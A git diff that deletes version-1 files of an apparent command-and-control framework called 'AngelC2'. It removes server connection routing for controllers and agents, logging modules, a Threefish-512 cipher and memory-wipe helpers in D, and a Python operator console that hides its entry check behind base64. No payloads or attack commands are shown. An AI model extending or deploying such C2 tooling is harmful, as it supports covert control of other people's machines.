|
|
||||||
if (int_meow == 0) {
|
|
||||||
controller_impl(conn)
|
|
||||||
} else if (db.CheckLayer(consts.Db, int_meow)) {
|
|
||||||
agent_impl(conn, int_meow)
|
|
||||||
} else {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
consts.Logger.Info("Lost conn", slog.String("remote", conn.RemoteAddr().String()))
|
|
||||||
}
|
|
||||||
14
v1/init.d
14
v1/init.d
@@ -1,14 +0,0 @@
|
|||||||
module angel.utils.init;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
import angel.utils.constants;
|
|
||||||
import angel.utils.logging;
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
import std.file;
|
|
||||||
|
|
||||||
void init() {
|
|
||||||
if (!exists(Constants.workdir)) {
|
|
||||||
mkdir(Constants.workdir);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
BIN
v1/linux_core.d
BIN
v1/linux_core.d
Binary file not shown.
18
v1/logger.py
18
v1/logger.py
@@ -1,18 +0,0 @@
|
|||||||
import logging
|
|
||||||
|
|
||||||
log = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class Logger:
|
|
||||||
def __init__(self):
|
|
||||||
logging.basicConfig(
|
|
||||||
format="%(levelname)s:%(asctime)s - %(message)s",
|
|
||||||
datefmt="%m/%d/%Y %I:%M:%S %p",
|
|
||||||
)
|
|
||||||
log.setLevel(logging.INFO)
|
|
||||||
form = logging.Formatter(
|
|
||||||
"%(levelname)s:%(asctime)s - %(message)s", datefmt="%m/%d/%Y %I:%M:%S %p"
|
|
||||||
)
|
|
||||||
file_handler = logging.FileHandler("angel.log")
|
|
||||||
file_handler.setFormatter(form)
|
|
||||||
log.addHandler(file_handler)
|
|
||||||
58
v1/logging.d
58
v1/logging.d
@@ -1,58 +0,0 @@
|
|||||||
module angel.utils.logging;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
import angel.config : config;
|
|
||||||
import angel.utils.constants;
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
import std.datetime;
|
|
||||||
import std.file;
|
|
||||||
import std.format;
|
|
||||||
import std.string;
|
|
||||||
|
|
||||||
enum LogLevel {
|
|
||||||
Debug,
|
|
||||||
Event,
|
|
||||||
Warning,
|
|
||||||
Error
|
|
||||||
}
|
|
||||||
|
|
||||||
class Logger {
|
|
||||||
private static string getTimestamp() {
|
|
||||||
auto now = Clock.currTime();
|
|
||||||
return format!"%04d-%02d-%02d %02d:%02d:%02d"(
|
|
||||||
now.year, now.month, now.day,
|
|
||||||
now.hour, now.minute, now.second
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static string getLogSymbol(LogLevel level) {
|
|
||||||
switch (level) {
|
|
||||||
case LogLevel.Debug: return "[*]";
|
|
||||||
case LogLevel.Event: return "[i]";
|
|
||||||
case LogLevel.Warning: return "[!]";
|
|
||||||
case LogLevel.Error: return "[E]";
|
|
||||||
default: return "[?]";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void writeToFile(string message) {
|
|
||||||
auto file = File(Constants.logFilePath, "a");
|
|
||||||
file.write(message ~ "\n");
|
|
||||||
file.close();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void log(LogLevel level, string message) {
|
|
||||||
auto timestamp = getTimestamp();
|
|
||||||
auto symbol = getLogSymbol(level);
|
|
||||||
|
|
||||||
auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
|
|
||||||
|
|
||||||
writeToFile(logMessage);
|
|
||||||
if (level == LogLevel.Debug && !config.debug_mode) {
|
|
||||||
return;
|
|
||||||
} else {
|
|
||||||
writeln(logMessage);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
package logging
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"log/slog"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
var Logger *slog.Logger
|
|
||||||
|
|
||||||
type MultiHandler struct {
|
|
||||||
handlers []slog.Handler
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *MultiHandler) Enabled(ctx context.Context, level slog.Level) bool {
|
|
||||||
for _, h := range m.handlers {
|
|
||||||
if h.Enabled(ctx, level) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *MultiHandler) Handle(ctx context.Context, record slog.Record) error {
|
|
||||||
for _, h := range m.handlers {
|
|
||||||
_ = h.Handle(ctx, record)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *MultiHandler) WithAttrs(attrs []slog.Attr) slog.Handler {
|
|
||||||
newHandlers := make([]slog.Handler, len(m.handlers))
|
|
||||||
for i, h := range m.handlers {
|
|
||||||
newHandlers[i] = h.WithAttrs(attrs)
|
|
||||||
}
|
|
||||||
return &MultiHandler{handlers: newHandlers}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (m *MultiHandler) WithGroup(name string) slog.Handler {
|
|
||||||
newHandlers := make([]slog.Handler, len(m.handlers))
|
|
||||||
for i, h := range m.handlers {
|
|
||||||
newHandlers[i] = h.WithGroup(name)
|
|
||||||
}
|
|
||||||
return &MultiHandler{handlers: newHandlers}
|
|
||||||
}
|
|
||||||
|
|
||||||
func InitLogger() {
|
|
||||||
logFile, err := os.OpenFile("../angel_api-server.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
|
||||||
if err != nil {
|
|
||||||
slog.Default().Error("Error opening log file", "error", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
fileHandler := slog.NewJSONHandler(logFile, &slog.HandlerOptions{Level: slog.LevelDebug})
|
|
||||||
consoleHandler := slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})
|
|
||||||
|
|
||||||
multiHandler := &MultiHandler{handlers: []slog.Handler{fileHandler, consoleHandler}}
|
|
||||||
|
|
||||||
Logger = slog.New(multiHandler)
|
|
||||||
|
|
||||||
slog.SetDefault(Logger)
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetLogger() *slog.Logger {
|
|
||||||
if Logger == nil {
|
|
||||||
InitLogger()
|
|
||||||
}
|
|
||||||
return Logger
|
|
||||||
}
|
|
||||||
13
v1/main.go
13
v1/main.go
@@ -1,13 +0,0 @@
|
|||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/conn"
|
|
||||||
"angel_server/extra"
|
|
||||||
"angel_server/logging"
|
|
||||||
)
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
logging.InitLogger()
|
|
||||||
extra.Init()
|
|
||||||
conn.Start_serv()
|
|
||||||
}
|
|
||||||
24
v1/main.py
24
v1/main.py
@@ -1,24 +0,0 @@
|
|||||||
import base64
|
|
||||||
|
|
||||||
from utils.logger import *
|
|
||||||
from utils.conn import *
|
|
||||||
from utils.mod import *
|
|
||||||
from constants import *
|
|
||||||
|
|
||||||
__name__ = "AngelC2"
|
|
||||||
__version__ = "0.1.0"
|
|
||||||
__authors__ = "hk21"
|
|
||||||
|
|
||||||
|
|
||||||
class Angel:
|
|
||||||
def __init__(self):
|
|
||||||
Logger()
|
|
||||||
Utils.clear_shell()
|
|
||||||
print(Consts.banner)
|
|
||||||
|
|
||||||
log.info("welc to angel net shell, fellow kitten!")
|
|
||||||
Conn()
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == base64.b64decode(b"QW5nZWxDMg==").decode("utf-8"):
|
|
||||||
Angel()
|
|
||||||
11
v1/mod.py
11
v1/mod.py
@@ -1,11 +0,0 @@
|
|||||||
import os
|
|
||||||
from sys import platform
|
|
||||||
|
|
||||||
|
|
||||||
class Utils:
|
|
||||||
@staticmethod
|
|
||||||
def clear_shell():
|
|
||||||
if platform == "win32":
|
|
||||||
os.system("cls")
|
|
||||||
else:
|
|
||||||
os.system("clear")
|
|
||||||
BIN
v1/parse.d
BIN
v1/parse.d
Binary file not shown.
1030
v1/serpent.d
1030
v1/serpent.d
File diff suppressed because it is too large
Load Diff
261
v1/threefish.d
261
v1/threefish.d
@@ -1,261 +0,0 @@
|
|||||||
module angel.utils.cryptography.threefish;
|
|
||||||
|
|
||||||
import std.random : Random, unpredictableSeed, uniform;
|
|
||||||
|
|
||||||
// memcpy
|
|
||||||
extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n);
|
|
||||||
|
|
||||||
class Threefish512
|
|
||||||
{
|
|
||||||
private {
|
|
||||||
// Размер блока шифра
|
|
||||||
enum blockSize = 64;
|
|
||||||
// Количество 64-битных слов в ключе (и в блоке)
|
|
||||||
enum Nw = 8;
|
|
||||||
// Количество раундов
|
|
||||||
enum Nr = 72;
|
|
||||||
// Количество раундов (за вычетом последнего)
|
|
||||||
enum Ns = Nr / 4;
|
|
||||||
// Функция перестановки
|
|
||||||
uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3];
|
|
||||||
uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3];
|
|
||||||
|
|
||||||
// Функция смешивания и перестановки
|
|
||||||
uint[4][8] r = [
|
|
||||||
[46, 36, 19, 37],
|
|
||||||
[33, 27, 14, 42],
|
|
||||||
[17, 49, 36, 39],
|
|
||||||
[44, 9 , 54, 56],
|
|
||||||
[39, 30, 34, 24],
|
|
||||||
[13, 50, 10, 17],
|
|
||||||
[25, 29, 39, 43],
|
|
||||||
[8 , 35, 56, 22]
|
|
||||||
];
|
|
||||||
|
|
||||||
// Твик-значение (свободный параметр алгоритма)
|
|
||||||
ulong[3] t;
|
|
||||||
// Раундовые ключи
|
|
||||||
ulong[8][Ns + 1] subKeys;
|
|
||||||
|
|
||||||
auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y)
|
|
||||||
{
|
|
||||||
y[0] = x[0] + x[1];
|
|
||||||
y[1] = (x[1] << r) | (x[1] >> (64 - r));
|
|
||||||
y[1] ^= y[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x)
|
|
||||||
{
|
|
||||||
y[1] ^= y[0];
|
|
||||||
x[1] = (y[1] << (64 - r)) | (y[1] >> r);
|
|
||||||
x[0] = y[0] - x[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
alias _mod8 = (ulong a) => a & 7UL;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Шифрование блока
|
|
||||||
/// plain - указатель на блок для шифрования, c - массив-приемник результата
|
|
||||||
void crypt(ulong* plainData, ulong* c) @system
|
|
||||||
{
|
|
||||||
ulong[8] f;
|
|
||||||
ulong[8] e;
|
|
||||||
ulong[2] y;
|
|
||||||
ulong[2] x;
|
|
||||||
ulong[8] v;
|
|
||||||
uint i;
|
|
||||||
|
|
||||||
memcpy (&v[0], plainData, 64);
|
|
||||||
|
|
||||||
for (uint round = 0; round < Nr; round++)
|
|
||||||
{
|
|
||||||
if (round % 4 == 0)
|
|
||||||
{
|
|
||||||
uint s = round >> 2;
|
|
||||||
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
e[i] = v[i] + subKeys[s][i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
e[i] = v[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < Nw / 2; i++)
|
|
||||||
{
|
|
||||||
x[0] = e[i * 2];
|
|
||||||
x[1] = e[i * 2 + 1];
|
|
||||||
|
|
||||||
_mix(x, r[cast(uint) _mod8(round)][i], y);
|
|
||||||
|
|
||||||
f[i * 2] = y[0];
|
|
||||||
f[i * 2 + 1] = y[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
v[i] = f[p[i]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
c[i] = v[i] + subKeys[Ns][i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Шифрование блока (безопасная версия)
|
|
||||||
/// plain - массив с данными блока
|
|
||||||
auto crypt(ulong[8] plainData)
|
|
||||||
{
|
|
||||||
ulong[8] c = 0;
|
|
||||||
crypt(plainData.ptr, c.ptr);
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Дешифрование блока
|
|
||||||
/// plain - указатель на блок для дешифрования, c - массив-приемник результата
|
|
||||||
void decrypt(ulong* plainData, ulong* c) @system
|
|
||||||
{
|
|
||||||
ulong[8] f;
|
|
||||||
ulong[8] e;
|
|
||||||
ulong[2] y;
|
|
||||||
ulong[2] x;
|
|
||||||
ulong[8] v;
|
|
||||||
uint i;
|
|
||||||
|
|
||||||
memcpy(&v[0], plainData, 64);
|
|
||||||
|
|
||||||
for (uint round = Nr; round > 0; round--)
|
|
||||||
{
|
|
||||||
if (round % 4 == 0)
|
|
||||||
{
|
|
||||||
uint s = round >> 2;
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
f[i] = v[i] - subKeys[s][i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
f[i] = v[i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
e[i] = f[p_1[i]];
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < Nw / 2; i++)
|
|
||||||
{
|
|
||||||
y[0] = e[i * 2];
|
|
||||||
y[1] = e[i * 2 + 1];
|
|
||||||
|
|
||||||
_demix(y, r[cast(uint) _mod8(round - 1)][i], x);
|
|
||||||
|
|
||||||
v[i * 2] = x[0];
|
|
||||||
v[i * 2 + 1] = x[1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
c[i] = v[i] - subKeys[0][i];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Дешифрование блока (безопасная версия)
|
|
||||||
/// plain - массив с данными блока
|
|
||||||
auto decrypt(ulong[8] plain)
|
|
||||||
{
|
|
||||||
ulong[8] c = 0;
|
|
||||||
decrypt(plain.ptr, c.ptr);
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Подготовка раундовых ключей
|
|
||||||
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
|
|
||||||
void setup(ulong* keyData, ulong* tweakData) @system
|
|
||||||
{
|
|
||||||
uint i;
|
|
||||||
ulong[8] K;
|
|
||||||
ulong[2] T;
|
|
||||||
ulong[9] key;
|
|
||||||
|
|
||||||
// C240 constant
|
|
||||||
ulong kNw = 0x1BD11BDAA9FC1A22;
|
|
||||||
|
|
||||||
memcpy(&K[0], &keyData[0], 64);
|
|
||||||
memcpy(&T[0], &tweakData[0], 16);
|
|
||||||
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
kNw ^= K[i];
|
|
||||||
key[i] = K[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
key[8] = kNw;
|
|
||||||
|
|
||||||
t[0] = T[0];
|
|
||||||
t[1] = T[1];
|
|
||||||
t[2] = T[0] ^ T[1];
|
|
||||||
|
|
||||||
for (uint round = 0; round <= Ns; round++)
|
|
||||||
{
|
|
||||||
for (i = 0; i < Nw; i++)
|
|
||||||
{
|
|
||||||
subKeys[round][i] = key[(round + i) % (Nw + 1)];
|
|
||||||
|
|
||||||
if (i == Nw - 3)
|
|
||||||
{
|
|
||||||
subKeys[round][i] += t[round % 3];
|
|
||||||
}
|
|
||||||
else if (i == Nw - 2)
|
|
||||||
{
|
|
||||||
subKeys[round][i] += t[(round + 1) % 3];
|
|
||||||
}
|
|
||||||
else if (i == Nw - 1)
|
|
||||||
{
|
|
||||||
subKeys[round][i] += round;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Подготовка раундовых ключей (безопасная версия)
|
|
||||||
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
|
|
||||||
void setup(ulong[8] keyData, ulong[2] tweakData)
|
|
||||||
{
|
|
||||||
setup(keyData.ptr, tweakData.ptr);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ulong[8] generateKey()
|
|
||||||
{
|
|
||||||
ulong[8] key;
|
|
||||||
auto rng = Random(unpredictableSeed);
|
|
||||||
foreach (i; 0 .. 8)
|
|
||||||
{
|
|
||||||
key[i] = uniform!ulong(rng);
|
|
||||||
}
|
|
||||||
return key;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ulong[2] generateTweak()
|
|
||||||
{
|
|
||||||
ulong[2] tweak;
|
|
||||||
auto rng = Random(unpredictableSeed);
|
|
||||||
foreach (i; 0 .. 2)
|
|
||||||
{
|
|
||||||
tweak[i] = uniform!ulong(rng);
|
|
||||||
}
|
|
||||||
return tweak;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
109
v1/utils.d
109
v1/utils.d
@@ -1,109 +0,0 @@
|
|||||||
module angel.utils.cryptography.utils;
|
|
||||||
|
|
||||||
import core.vararg;
|
|
||||||
import std.traits;
|
|
||||||
import std.algorithm;
|
|
||||||
|
|
||||||
/// TODO: neat variadic implementation of `wipe()`
|
|
||||||
|
|
||||||
/// Clears data in memory.
|
|
||||||
@safe @nogc nothrow
|
|
||||||
void wipe(T)(ref T t) {
|
|
||||||
static if(is(typeof(cast (ubyte[]) t))) {
|
|
||||||
ubyte[] bytes = cast(ubyte[]) t;
|
|
||||||
|
|
||||||
bytes[] = 0;
|
|
||||||
|
|
||||||
if(!all!"a == 0"(bytes[])) {
|
|
||||||
// This should not get optimized away.
|
|
||||||
assert(false, "Wiping failed.");
|
|
||||||
}
|
|
||||||
} else static if ( is(typeof( {T a = T.init;} ))) {
|
|
||||||
t = T.init;
|
|
||||||
|
|
||||||
if(t != T.init) {
|
|
||||||
// This should not get optimized away.
|
|
||||||
assert(false, "Wiping failed.");
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
static assert(false, "Type not supported for wiping: " ~ T.stringof);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@safe @nogc nothrow
|
|
||||||
void wipe(T...)(ref T ts) {
|
|
||||||
foreach(ref t; ts) {
|
|
||||||
wipe(t);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// test static arrays
|
|
||||||
unittest {
|
|
||||||
ubyte[4] buf1 = [1,2,3,4];
|
|
||||||
uint[4] buf2 = [1,2,3,4];
|
|
||||||
size_t[4] buf3 = [1,2,3,4];
|
|
||||||
|
|
||||||
wipe(buf1);
|
|
||||||
wipe(buf2);
|
|
||||||
wipe(buf3);
|
|
||||||
|
|
||||||
assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[].");
|
|
||||||
assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[].");
|
|
||||||
assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[].");
|
|
||||||
}
|
|
||||||
|
|
||||||
// test dynamic arrays
|
|
||||||
unittest {
|
|
||||||
ubyte[] buf1 = [1,2,3,4];
|
|
||||||
uint[] buf2 = [1,2,3,4];
|
|
||||||
size_t[] buf3 = [1,2,3,4];
|
|
||||||
|
|
||||||
wipe(buf1, buf2, buf3);
|
|
||||||
|
|
||||||
assert(all!"a == 0"(buf1), "Failed to wipe ubyte[].");
|
|
||||||
assert(all!"a == 0"(buf2), "Failed to wipe ubyte[].");
|
|
||||||
assert(all!"a == 0"(buf3), "Failed to wipe ubyte[].");
|
|
||||||
}
|
|
||||||
|
|
||||||
unittest {
|
|
||||||
int a = 42;
|
|
||||||
int b = 84;
|
|
||||||
ubyte c = 1;
|
|
||||||
|
|
||||||
wipe(a, b, c);
|
|
||||||
|
|
||||||
assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!");
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Compares a and b in constant time.
|
|
||||||
///
|
|
||||||
/// Returns: 0 if a == b, some other value if a != b.
|
|
||||||
bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc
|
|
||||||
in {
|
|
||||||
assert(a.length == b.length, "Unequal length.");
|
|
||||||
} body {
|
|
||||||
T result = 0;
|
|
||||||
size_t i = 0;
|
|
||||||
|
|
||||||
while(i < a.length) {
|
|
||||||
result |= a[i] ^ b[i];
|
|
||||||
++i;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(i != a.length) {
|
|
||||||
// Just to be sure that the compiler optimization does not destroy const time.
|
|
||||||
assert(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
return result == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// test crypto_equals
|
|
||||||
unittest {
|
|
||||||
ubyte[32] f = 0;
|
|
||||||
immutable ubyte[32] zero = 0;
|
|
||||||
assert(crypto_equals(f[], zero[]));
|
|
||||||
f[8] = 1;
|
|
||||||
assert(!crypto_equals(f[], zero[]));
|
|
||||||
}
|
|
||||||
Binary file not shown.
Reference in New Issue
Block a user